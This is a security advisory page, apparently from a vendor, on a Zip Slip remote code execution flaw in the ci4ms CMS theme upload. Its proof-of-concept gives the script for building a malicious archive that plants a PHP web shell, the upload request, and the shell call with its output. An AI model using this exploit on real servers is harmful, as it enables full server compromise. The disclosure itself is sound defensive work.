How severe is GHSA-xv3r-vr59-95rg?

No CVSS score has been assigned to GHSA-xv3r-vr59-95rg yet. Review the advisory details and affected package list to assess your exposure.

Which packages are affected by GHSA-xv3r-vr59-95rg?

GHSA-xv3r-vr59-95rg affects the following packages: ci4-cms-erp/ci4ms (Packagist). Ecosystems affected: Packagist.

How do I fix GHSA-xv3r-vr59-95rg?

Update ci4-cms-erp/ci4ms to 0.31.5.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-xv3r-vr59-95rg is resolved across your whole dependency graph.

How do I detect GHSA-xv3r-vr59-95rg in my Packagist dependencies?

Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for ci4-cms-erp/ci4ms. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

How do I mitigate GHSA-xv3r-vr59-95rg if there is no patch (or I can't update yet)?

If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

How does O3 Security protect against GHSA-xv3r-vr59-95rg?

O3 pinpoints whether GHSA-xv3r-vr59-95rg is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Is GHSA-xv3r-vr59-95rg actively exploited in the wild?

No public exploit code has been indexed for GHSA-xv3r-vr59-95rg yet. This does not mean the vulnerability cannot be exploited — absence of public exploits does not imply safety. Apply the recommended fix and use O3 Security to monitor your exposure.

When was GHSA-xv3r-vr59-95rg published, and has it been updated?

GHSA-xv3r-vr59-95rg was published on April 22, 2026 and was last updated on May 8, 2026. Advisory data evolves as severity scores, affected ranges, and exploit intelligence are revised — always check the latest version of the advisory before acting.

🐘 Packagist

GHSA-xv3r-vr59-95rg

GHSA-xv3r-vr59-95rg is a remote code execution vulnerability in ci4-cms-erp/ci4ms. O3 Security confirms whether GHSA-xv3r-vr59-95rg is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.

CI4MS Theme::upload is vulnerable to Zip Slip leading to RCE

Also known asCVE-2026-41203

Published

Apr 22, 2026

Updated

May 8, 2026

Affected

1 pkg

Patched

1 / 1

Exploits

None indexed

Real-World Exposure

1 pkg affected

🐘ci4-cms-erp/ci4ms

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.

Description

Summary

ci4ms Theme::upload extracts user uploaded ZIP archives without validating entry names, allowing an authenticated backend user with the theme create permission to write files to arbitrary filesystem locations (Zip Slip) and achieve remote code execution by dropping a PHP file under the public web root.

Details

modules/Theme/Controllers/Theme.php:13-56 implements the theme upload action. ZipArchive::extractTo() is called directly with no iteration over entry names to verify they resolve inside the destination:

public function upload()
{
    $valData = ([
        'theme' => ['label' => lang('Theme.backendTheme'), 'rules' => 'uploaded[theme]|ext_in[theme,zip]|mime_in[theme,...]'],
    ]);
    if ($this->validate($valData) == false) return redirect()->route('backendThemes')->withInput()->with('errors', $this->validator->getErrors());
    $file = $this->request->getFile('theme');
    $tempPath = WRITEPATH . 'tmp/' . str_replace('_theme.zip', '', $file->getName()) . '/';
    $zip = new \ZipArchive();
    if ($zip->open($file->getTempName()) === true) {
        $zip->extractTo($tempPath);     // no entry-name validation
        $zip->close();
    } ...
    $log = install_theme_from_tmp($themeName);
    ...
}

A ZIP containing entries like ../../public/shell.php is extracted outside writable/tmp/ into directories served by PHP. The author validates entries correctly in modules/Methods/Controllers/Methods.php:165-175 with a realpath + regex loop; the same check is missing here.

Routing: modules/Theme/Config/Routes.php binds POST backend/themes/themesUpload to Theme::upload with role=create. Although ThemeConfig itself does not list the route in csrfExcept, the upload handler is still reachable cross-site by any admin browser that has create on the Theme module, and any admin with that role can trigger it directly.

A companion Zip Slip bug in Backup::restore is tracked separately as GHSA-xp9f-pvvc-57p4.

PoC

Build the archive:

python3 -c "
import zipfile
with zipfile.ZipFile('evil_theme.zip','w') as z:
    z.writestr('../../public/shell.php', '<?php system(\$_GET[\"c\"]); ?>')
    z.writestr('info.xml', '<theme name=\"x\"/>')
"

Upload through the Theme manager with an authenticated session that has theme create:

curl -i -b 'ci4ms_session=<SESSION_ID>' \
  -F 'theme=@evil_theme.zip' \
  https://target.example.com/backend/themes/themesUpload

Trigger the shell:

curl 'https://target.example.com/shell.php?c=id'
# uid=33(www-data) gid=33(www-data) groups=33(www-data)

Impact

Any ci4ms account that can upload a theme can write arbitrary files under the application root and gain remote code execution on the server, fully compromising the installation, the database credentials stored in .env, and any content the site handles.

Affected Packages

1 total 1 fixed

Ecosystem	Package	Vulnerable range	Fix
🐘Packagist	`ci4-cms-erp/ci4ms`	all versions	0.31.5.0

Detection & mitigation playbook

Open-source dependency

Detect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for ci4-cms-erp/ci4ms. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update ci4-cms-erp/ci4ms to 0.31.5.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-xv3r-vr59-95rg is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-xv3r-vr59-95rg is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-xv3r-vr59-95rg. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary ci4ms Theme::upload extracts user uploaded ZIP archives without validating entry names, allowing an authenticated backend user with the theme create permission to write files to arbitrary filesystem locations (Zip Slip) and achieve remote code execution by dropping a PHP file under the public web root. ### Details modules/Theme/Controllers/Theme.php:13-56 implements the theme upload action. ZipArchive::extractTo() is called directly with no iteration over entry names to verify they resolve inside the destination: ```php public function upload() { $valData = ([ 'theme'

O3 Security · Impact-Aware SCA

Is GHSA-xv3r-vr59-95rg in your dependencies?

O3 detects GHSA-xv3r-vr59-95rg across Packagist dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.

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